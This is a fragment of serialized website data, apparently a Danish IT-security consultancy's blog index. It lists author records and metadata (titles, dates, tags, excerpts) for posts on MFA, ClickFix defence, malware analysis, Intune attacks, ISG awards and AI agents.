073},{"display_name":13201,"avatar":13202,"permalink":13203,"linkedin":13204,"twitter":13084},{"display_name":13206,"avatar":13207,"permalink":13208,"twitter":13084},{"display_name":13210,"avatar":13211,"permalink":13212,"twitter":13084,"linkedin":13213},{"display_name":13215,"avatar":13216,"permalink":13217,"twitter":13218,"linkedin":13219},{"display_name":13221,"avatar":13222,"permalink":13223,"linkedin":13224,"twitter":13084},{"display_name":13226,"avatar":13227,"permalink":13228,"twitter":13084,"linkedin":13137},{"display_name":13230,"avatar":13231,"permalink":13232,"twitter":13233,"linkedin":13233,"imageOffsetTop":13073,"socials":13389},[13390,13391],{"text":472,"href":13236},{"text":13238,"href":13239},{"display_name":13241,"avatar":13242,"permalink":13243,"twitter":13244,"linkedin":13245},{"display_name":13247,"avatar":13248,"permalink":13249,"twitter":13084,"linkedin":13137},{"display_name":13251,"avatar":13252,"permalink":13253,"twitter":13254,"linkedin":13137},{"display_name":13256,"avatar":13257,"permalink":13258,"twitter":13259,"linkedin":13260},{"display_name":13262,"avatar":13263,"permalink":13264,"twitter":13265,"linkedin":13265},{"display_name":13267,"avatar":13268,"permalink":13269,"twitter":13270,"linkedin":13271},{"display_name":13273,"avatar":13274,"permalink":13275,"twitter":13276,"linkedin":13277},{"display_name":13279,"avatar":13280,"permalink":13281,"linkedin":13282,"twitter":13084},{"display_name":13284,"avatar":13285,"permalink":13286,"linkedin":13287,"twitter":13084},{"display_name":13289,"avatar":13290,"permalink":13291,"linkedin":13292,"twitter":13293},{"display_name":13295,"avatar":13296,"permalink":13297,"linkedin":13298},{"display_name":13300,"avatar":13301,"permalink":13302,"linkedin":13303},{"display_name":13305,"avatar":13306,"permalink":13307,"linkedin":13308},{"display_name":13310,"avatar":13311,"permalink":13312,"linkedin":13313},{"display_name":13315,"avatar":13316,"permalink":13317,"linkedin":13318,"imageOffsetTop":13073},{"display_name":13320,"avatar":13321,"permalink":13322,"linkedin":13323,"imageOffsetTop":13073},{"display_name":13325,"avatar":13326,"permalink":13327,"linkedin":13328,"imageOffsetTop":13173},{"display_name":13330,"avatar":13331,"permalink":13332,"linkedin":13333,"imageOffsetTop":13173},{"display_name":523,"avatar":13335,"permalink":13336,"linkedin":13337,"imageOffsetTop":13173},{"display_name":13339,"avatar":13340,"permalink":13341,"linkedin":13342,"imageOffsetTop":13343,"imageOffsetLeft":13344},{"display_name":13346,"avatar":13347,"permalink":13348,"linkedin":13349,"imageOffsetTop":13350,"imageOffsetLeft":13351},{"display_name":13353,"avatar":13354,"permalink":13355,"linkedin":13356,"imageOffsetTop":13357,"imageOffsetLeft":13100},"Authors","1csawlkJxRljy93GTOnXEkwLqAv9Lcj-apxRvoodAOY",{"list":13417,"authors":13631},[13418,13435,13449,13463,13479,13492,13505,13518,13530,13546,13560,13575,13591,13602,13615],{"id":13419,"title":13420,"author":13421,"cta":494,"description":594,"hideInRecent":484,"layout":12936,"meta":13422,"moment":13427,"path":13428,"stem":13429,"tags":13430,"webcast":484},"content_da/posts/2026-09-22-end-of-mfa-sms.md","Enden på MFA-SMS",[13095],{"lang":12938,"date":13423,"categories":13424,"blogtitlepic":13425,"customExcerpt":13426},"2026-09-21",[12943],"head-conditional-access.jpg","Hvorfor virksomheder nu bør skifte til phishing-resistente og så vidt muligt passwordløse loginmetoder.","2026-09-22","/posts/2026-09-22-end-of-mfa-sms","posts/2026-09-22-end-of-mfa-sms",[12943,13431,13432,13433,13434],"Authentication","Microsoft Entra ID","MFA","Passkeys",{"id":13436,"title":13437,"author":13438,"cta":494,"description":594,"hideInRecent":484,"layout":12936,"meta":13439,"moment":13423,"path":13443,"stem":13444,"tags":13445,"webcast":484},"content_da/posts/2026-09-21-clickfix-prevent-detect.md","ClickFix. Når brugeren er exploiten, og hvordan I stopper det",[13069,13089],{"lang":12938,"date":13423,"categories":13440,"blogtitlepic":13441,"customExcerpt":13442},[12943],"head-clickfix.jpg","ClickFix gør brugere til deres egen angriber: et falsk CAPTCHA, en copy-paste, og skadekoden kører i hukommelsen, uden at noget lander på disken. Hvordan Microsoft Defender opdager angrebet, hvor detektionen når sine grænser, og hvordan I lukker hullet med et RunMRU-hunt og fire beskyttelseslag.","/posts/2026-09-21-clickfix-prevent-detect","posts/2026-09-21-clickfix-prevent-detect",[13446,13447,13448],"Defender","SOC","Endpoint Security",{"id":13450,"title":13451,"author":13452,"cta":494,"description":594,"hideInRecent":484,"layout":12936,"meta":13453,"moment":13423,"path":13457,"stem":13458,"tags":13459,"webcast":484},"content_da/posts/2026-09-21-red-tenant-dark-tenant-cio.md","Admin og hverdag på samme computer? Game Over.",[13230],{"lang":12938,"date":13423,"categories":13454,"blogtitlepic":13455,"customExcerpt":13456},[12943],"head-game-over-en.jpg","Hvorfor én tenant ikke rækker for CIO'er, og hvorfor den anden sjældent bliver tænkt med. Managed Red Tenant adskiller arkitektonisk det administrative arbejde fra kontormiljøet, Managed Dark Tenant holder virksomheden handlekraftig, hvis forsvaret alligevel falder. Hvad det betyder for driftsmodellen, SOC-signalet og dokumentationspligterne efter NISG 2026.","/posts/2026-09-21-red-tenant-dark-tenant-cio","posts/2026-09-21-red-tenant-dark-tenant-cio",[12943,13460,13461,13462],"Privileged Access","Zero Trust","NIS2",{"id":13464,"title":13465,"author":13466,"cta":494,"description":13467,"hideInRecent":484,"layout":12936,"meta":13468,"moment":13469,"path":13474,"stem":13475,"tags":13476,"webcast":484},"content_da/posts/2026-08-08-isg-germany-2026.md","Fire gange Leader. glueckkanja i ISG-undersøgelsen Tyskland 2026",[13256],"ISG har omdøbt sin undersøgelse i år. Microsoft Cloud Ecosystem blev til Microsoft AI and Cloud Ecosystem, og med navnet har målestokken flyttet sig: Det, der vurderes, er ikke længere, hvem der indfører Microsoft-platforme, men hvem der driver Copilot, agenter og AI-workloads kontrollerbart. Den nye målestok har ikke ændret noget ved vores position. ISG Provider Lens®-undersøgelsen Tyskland 2026 positionerer os som Leader i fire kvadranter: Microsoft Productivity and Business Process Services og Azure Managed Services, hver gang i både Large Market og Mid Market. Efter 2021, 2023, 2024 og 2025 er det den femte Leader-placering i Tyskland, i Schweiz kom springet ind i Leader-kvadranten to uger tidligere.",{"lang":12938,"date":13469,"categories":13470,"blogtitlepic":13472,"customExcerpt":13473},"2026-08-08",[13471],"Corporate","head-isg-de-2026.png","ISG Provider Lens®-undersøgelsen 2026 positionerer glueckkanja i Tyskland som Leader i fire kvadranter: Microsoft Productivity and Business Process Services og Azure Managed Services, hver gang i både Large og Mid Market. Undersøgelsen hedder nu Microsoft AI and Cloud Ecosystem, og målestokken har flyttet sig: Det, der vurderes, er, hvem der driver AI- og agent-workloads kontrollerbart.","/posts/2026-08-08-isg-germany-2026","posts/2026-08-08-isg-germany-2026",[13477,13478],"Award","ISG",{"id":13480,"title":13481,"author":13482,"cta":494,"description":13483,"hideInRecent":484,"layout":12936,"meta":13484,"moment":13485,"path":13489,"stem":13490,"tags":13491,"webcast":484},"content_da/posts/2026-07-31-isg-switzerland-2026.md","Fra Rising Star til Leader. glueckkanja i ISG-undersøgelsen Schweiz 2026",[13256],"I 2024 stiftede vi glueckkanja Switzerland AG og flyttede ind i et kontor i zentroom på Bahnhofplatz 10b i Bern. I 2025 placerede ISG os som Rising Star på det schweiziske marked, som den leverandør, analytikerne tror kan tage springet ind i Leader-kvadranten. Nu er springet dokumenteret: ISG Provider Lens®-undersøgelsen 2026 positionerer os i Schweiz som Leader i kvadranten Microsoft AI and Cloud Ecosystem, inden for områderne Azure Managed Services og Microsoft Productivity and Business Process Services.",{"lang":12938,"date":13485,"categories":13486,"blogtitlepic":13487,"customExcerpt":13488},"2026-07-31",[13471],"head-isg-ch-2026.png","ISG Provider Lens®-undersøgelsen 2026 positionerer glueckkanja i Schweiz som Leader i kvadranten Microsoft AI and Cloud Ecosystem, inden for områderne Azure Managed Services og Microsoft Productivity and Business Process Services. To år efter markedsindtrædelsen i Bern, et år efter Rising Star-udmærkelsen.","/posts/2026-07-31-isg-switzerland-2026","posts/2026-07-31-isg-switzerland-2026",[13477,13478],{"id":13493,"title":13494,"author":13495,"cta":494,"description":594,"hideInRecent":484,"layout":12936,"meta":13496,"moment":13497,"path":13501,"stem":13502,"tags":13503,"webcast":484},"content_da/posts/2026-07-24-outbreak-openai-hugging-face.md","Outbreak. Hvad OpenAI/Hugging-Face-hændelsen afslører, og hvad den ikke gør",[13230],{"lang":12938,"date":13497,"categories":13498,"blogtitlepic":13499,"customExcerpt":13500},"2026-07-24",[12943],"head-outbreak.jpg","En AI-agent bryder ud af sit testmiljø, finder en zero-day og hacker en anden virksomhed. Det lyder som et filmmanuskript, men skete faktisk i juli 2026. Tid til en nøgtern placering: med lidt psykologi, to security-veteraner og spørgsmålet om, hvad det betyder for jeres forsvar.","/posts/2026-07-24-outbreak-openai-hugging-face","posts/2026-07-24-outbreak-openai-hugging-face",[13504,13447,13461],"AI",{"id":13506,"title":13507,"author":13508,"cta":494,"description":13509,"hideInRecent":484,"layout":12936,"meta":13510,"moment":13511,"path":13515,"stem":13516,"tags":13517,"webcast":484},"content_da/posts/2026-07-22-isg-cybersecurity-2026.md","Leader og Rising Star. glueckkanja i ISG's Cybersecurity-undersøgelse 2026",[13256],"Ny i kvadranten og straks Leader: ISG Provider Lens®-undersøgelsen \"Cybersecurity – Services and Solutions 2026\" positionerer glueckkanja som Leader inden for Next-Gen SOC/MDR Services for mellemstore virksomheder i Tyskland. I det samlede marked for Next-Gen SOC/MDR Services udnævner ISG os til Rising Star, altså den leverandør, som analytikerne tror kan tage springet ind i Leader-kvadranten inden for de næste 12 til 24 måneder.",{"lang":12938,"date":13511,"categories":13512,"blogtitlepic":13513,"customExcerpt":13514},"2026-07-22",[13471],"head-isg-cybersecurity-2026.png","ISG Provider Lens®-undersøgelsen Cybersecurity 2026 udnævner glueckkanja til Leader i kvadranten Next-Gen SOC/MDR Services (Midmarket). I det samlede marked for Next-Gen SOC/MDR Services er vi Rising Star. ISG fremhæver vores vækst over gennemsnittet, vores dybe Microsoft-security-ekspertise og et 24/7-SOC drevet fra Tyskland.","/posts/2026-07-22-isg-cybersecurity-2026","posts/2026-07-22-isg-cybersecurity-2026",[13477,13478,12943],{"id":13519,"title":13520,"author":13521,"cta":494,"description":13522,"hideInRecent":484,"layout":12936,"meta":13523,"moment":13524,"path":13527,"stem":13528,"tags":13529,"webcast":484},"content_da/posts/2026-07-06-the-holy-trinity.md","The Holy Trinity: Hvad AI virkelig skal have for at kunne arbejde",[13256],"En produktionsvirksomhed vil vide, hvilke af dens 14.000 SKU'er der faktisk er profitable. Svaret ligger i tre systemer, der aldrig har udvekslet et enkelt datapunkt med hinanden. Indtil for kort tid siden kostede det tre afdelinger, to uger og en del god vilje at få det. Siden begyndelsen af 2026 kan en AI besvare det spørgsmål på minutter: søge data igennem, skabe sammenhænge, producere en anbefaling. Forudsat at den har adgang.",{"lang":12938,"date":13524,"categories":13525,"blogtitlepic":13526},"2026-07-06",[131],"head-the-holy-trinity","/posts/2026-07-06-the-holy-trinity","posts/2026-07-06-the-holy-trinity",[13504,131],{"id":13531,"title":13532,"author":13533,"cta":494,"description":13534,"hideInRecent":484,"layout":12936,"meta":13535,"moment":13536,"path":13540,"stem":13541,"tags":13542,"webcast":484},"content_da/posts/2026-07-01-onboarding-process.md","Kontrakten er skrevet under: Sådan forløber din onboarding hos os",[13346],"Hvordan forløber jeres onboarding egentlig? Det er et spørgsmål, vi støder på igen og igen i samtaler med ansøgere, for mange har oplevet, at en onboarding kan gå hakkende. Derfor er det så meget desto vigtigere for os, at du får en god fornemmelse helt fra begyndelsen.",{"lang":12938,"date":13536,"categories":13537,"blogtitlepic":13538,"customExcerpt":13539},"2026-07-01",[13471],"Onboarding_Blogheader","Kontrakten er skrevet under, det første store skridt er taget. Men hvad sker der nu? Vi tager dig med bag kulisserne i vores onboarding, fra PreBoarding til den første uge i teamet.","/posts/2026-07-01-onboarding-process","posts/2026-07-01-onboarding-process",[13543,13544,13545],"Employer Branding","Onboarding","Unternehmenskultur",{"id":13547,"title":13548,"author":13549,"cta":494,"description":13550,"hideInRecent":484,"layout":12936,"meta":13551,"moment":13552,"path":13556,"stem":13557,"tags":13558,"webcast":484},"content_da/posts/2026-06-26-frontier-partner.md","Microsoft Frontier Partner: vi er blandt de få",[13256],"I Microsofts partner-økosystem findes der en lang række anerkendelser, og alligevel skiller Frontier Partner Badge sig ud fra de øvrige udmærkelser i sin anlæg. Man kan ikke ansøge om det, det tildeles på Microsofts eget initiativ til en eksklusiv kreds af partnere, som skal overbevise i flere discipliner parallelt i stedet for at brillere i en enkelt. Microsoft vurderer dokumenteret kompetence inden for Cloud & AI Platforms, AI Business Solutions og Security i lige høj grad og henvender sig dermed til virksomheder, der ikke opfatter AI som en påbygning på eksisterende IT, men som resultatet af en gennemgående arkitektur, der bærer fra identiteten over endpointet og helt ind i produktiv AI-drift.",{"lang":12938,"date":13552,"categories":13553,"blogtitlepic":13554,"customExcerpt":13555},"2026-06-26",[13471],"head-frontier-partner-badge.jpg","Microsoft AI Cloud Partner Program har for nylig fået en ny topudmærkelse, Frontier Partner Badge. Microsoft tildeler den udelukkende til en eksklusiv kreds af partnere verden over, som leverer bæredygtige AI-projekter på hele Microsoft-stakken, fra arbejdspladsen over cloud-platformen og security og helt ind i selve AI-anvendelsen, og som har dokumenteret det i praksis. I DACH-området tæller den gruppe kun en håndfuld virksomheder, og vi er en af dem.","/posts/2026-06-26-frontier-partner","posts/2026-06-26-frontier-partner",[13477,13559,13504],"Microsoft Partner",{"id":13561,"title":13562,"author":13563,"cta":494,"description":13564,"hideInRecent":484,"layout":12936,"meta":13565,"moment":13566,"path":13570,"stem":13571,"tags":13572,"webcast":484},"content_da/posts/2026-06-09-vair-run.md","160 kilometer for en god sag",[13353],"Søndag morgen, klokken 8:30, Holbeinsteg ved Main. Elleve kolleger i ens NinjaCat-shirts, klar til Frankfurter Runden. Regn, lyn og torden inklusive. At løbe for en god sag var motivation nok til at snøre løbeskoene på trods af det dårlige vejr.",{"lang":12938,"date":13566,"categories":13567,"blogtitlepic":13568,"customExcerpt":13569},"2026-06-08",[13471],"frankfurter-runden.png","Elleve kolleger, 16 omgange, 160 kilometer, et tordenvejr og en podieplacering: glueckkanja var med til Frankfurter Runden 2026 og donerede for hver løbet omgang til VAIR e.V., der bygger en inkluderende sports- og kulturpark i Offenbach.","/posts/2026-06-09-vair-run","posts/2026-06-09-vair-run",[13573,13543,13574],"Top Arbeitgeber","Soziales Engagement",{"id":13576,"title":13577,"author":13578,"cta":494,"description":13579,"hideInRecent":484,"layout":12936,"meta":13580,"moment":13581,"path":13585,"stem":13586,"tags":13587,"webcast":484},"content_da/posts/2026-04-10-incident-to-intelligence.md","Anatomien af en ukendt AMOS Stealer: fra alert til immunitet på timer",[523],"Når en alert udløses i vores SOC, begynder uret at løbe: ikke kun for den berørte kunde, men for alle organisationer under vores beskyttelse. Det farligste øjeblik i det moderne trusselslandskab er Intelligence Gap, tidsvinduet mellem den første anvendelse af en ny malwarevariant og den dag, branchen hører om den.",{"lang":12938,"date":13581,"categories":13582,"blogtitlepic":13583,"customExcerpt":13584},"2026-04-10",[12943],"head-amos-stealer.png","En hidtil udokumenteret AMOS Stealer-variant kompromitterede et macOS-endpoint. Ingen kendte hashes, ingen C2-data i offentlige databaser. Vores SOC skilte seks obfuskeringslag ad, udtrak alle indikatorer og rullede beskyttelsen ud til alle SOC-kunder inden for timer, endnu før branchen overhovedet havde set samplet.","/posts/2026-04-10-incident-to-intelligence","posts/2026-04-10-incident-to-intelligence",[13059,13588,13589,13590,13060],"Incident Response","macOS Security","Malware Analysis",{"id":13592,"title":13593,"author":13594,"cta":494,"description":13595,"hideInRecent":484,"layout":12936,"meta":13596,"moment":13597,"path":13600,"stem":13601,"tags":494,"webcast":484},"content_da/posts/2026-03-21-microsoft-edge-corporate-browser.md","Derfor bør Edge være jeres eneste corporate browser",[13126],"Valget af browser er en strategisk beslutning i virksomhedsmiljøer, fordi det direkte påvirker, hvor meget sikkerhed og hvor stort et administrationsarbejde I reelt har. Google Chrome var længe den nærliggende mulighed, men Microsoft Edge har udviklet sig til en browser, der griber direkte ind i den eksisterende stak, især når Microsoft 365 er i brug, og administrationen kører gennem Intune.",{"lang":12938,"date":13597,"blogtitlepic":13598,"customExcerpt":13599},"2026-03-21","head-microsoft-edge-default-browser.jpg","Ingen virksomhed har for alvor valgt Chrome; den var der bare, med sin egen sync-logik, sin egen kontohåndtering og sin egen politikflade. Microsoft Edge griber derimod direkte ind i den infrastruktur, der alligevel kører: Entra ID, Intune, Defender. Dette indlæg viser, hvordan skiftet ser ud, hvordan Chrome omdirigeres til en landingpage via en Intune-politik, og hvad der falder væk, når man holder op med at drive to browsere parallelt.","/posts/2026-03-21-microsoft-edge-corporate-browser","posts/2026-03-21-microsoft-edge-corporate-browser",{"id":13603,"title":13604,"author":13605,"cta":494,"description":13606,"hideInRecent":484,"layout":12936,"meta":13607,"moment":13608,"path":13612,"stem":13613,"tags":13614,"webcast":484},"content_da/posts/2026-03-20-stryker-attack-intune-privilege.md","Én admin-konto var alt, hvad der skulle til.",[13230],"Onsdag den 11. marts 2026. Medarbejdere på Stryker-kontorer i 79 lande tændte deres computere og fandt dem tomme. Login-skærme erstattet af et logo. Firmabærbare, arbejdstelefoner, private enheder tilmeldt virksomhedens BYOD-program, alle slettet samtidig, natten over. Ingen ransomware, ingen malware-signaturer, intet, som et endpoint-detection-værktøj kunne have opdaget.",{"lang":12938,"date":13608,"categories":13609,"blogtitlepic":13610,"customExcerpt":13611},"2026-03-20",[12943],"head-stryker.jpg","Den 11. marts 2026 slettede Handala enheder i 79 lande, og alt, hvad der skulle til, var en kompromitteret Intune-admin-konto. Ingen malware, ingen exploit, kun legitime management-værktøjer vendt mod deres ejere. Hvad der skete, hvorfor det virkede, og hvilke to arkitektoniske huller der skal lukkes.","/posts/2026-03-20-stryker-attack-intune-privilege","posts/2026-03-20-stryker-attack-intune-privilege",[71,13460,13461],{"id":13616,"title":13617,"author":13618,"cta":494,"description":13619,"hideInRecent":484,"layout":12936,"meta":13620,"moment":13621,"path":13625,"stem":13626,"tags":13627,"webcast":484},"content_da/posts/2026-03-16-ai-agent-hackathon.md","Seks agenter. Fire uger. Rigtig drift.",[13256],"Hvor mange timer bruger jeres IT-afdeling om ugen på opgaver, som en agent kunne klare på minutter?",{"lang":12938,"date":13621,"categories":13622,"blogtitlepic":13623,"customExcerpt":13624},"2026-03-16",[13471],"head-ai-agent-hackathon.jpg","Seks virksomheder, fire ugers byggefase, seks fungerende AI Agents. Det var den første glueckkanja AI Agent Hackathon. Kiekert, Dr. Oetker, Eckes-Granini, igefa og lila logistik har bygget agenter i Copilot Studio, som kører produktivt i dag. Her er, hvad der kom ud af det, og hvordan formatet fungerer.","/posts/2026-03-16-ai-agent-hackathon","posts/2026-03-16-ai-agent-hackathon",[13504,13628,13629,13630],"Copilot Studio","Hackathon","AI Agents",{"Karsten Kleinschmidt":13632,"Fritz Zurhorst":13633,"Nadine Klein":13634,"Jan Geisbauer":13635,"Carolin Kanja":13639,"Anna Ulbricht":13640,"Annette Brauns":13641,"Pascal Asch":13642,"Steffen Schwerdtfeger":13643},{"display_name":13095,"avatar":13096,"permalink":13097,"twitter":13098,"linkedin":13099,"imageOffsetTop":13100,"imageOffsetLeft":13101},{"display_name":13069,"avatar":13070,"permalink":13071,"linkedin":13072,"imageOffsetTop":13073},{"display_name":13089,"avatar":13090,"permalink":13091,"twitter":13092,"linkedin":13093,"imageOffsetTop":13073},{"display_name":13230,"avatar":13231,"permalink":13232,"twitter":13233,"linkedin":13233,"imageOffsetTop":13073,"socials":13636},[13637,13638],{"text":472,"href":13236},{"text":13238,"href":13239},{"display_name":13256,"avatar":13257,"permalink":13258,"twitter":13259,"linkedin":13260},{"display_name":13346,"avatar":13347,"permalink":13348,"linkedin":13349,"imageOffsetTop":13350,"imageOffsetLeft":13351},{"display_name":13353,"avatar":13354,"permalink":13355,"linkedin":13356,"imageOffsetTop":13357,"imageOffsetLeft":13100},{"display_name":523,"avatar":13335,"permalink":13336,"linkedin":13337,"imageOffsetTop":13173},{"display_name":13126,"avatar":13127,"permalink":13128,"linkedin":13129,"twitter":13130,"imageOffsetTop":13131,"imageOffsetLeft":13132},{"id":13064,"extension":13065,"meta":13645,"stem":8,"__hash__":13415},{"Pascal Asch":13646},{"display_name":523,"avatar":13335,"permalink":13336,"linkedin":13337,"imageOffsetTop":13173},1791383907446]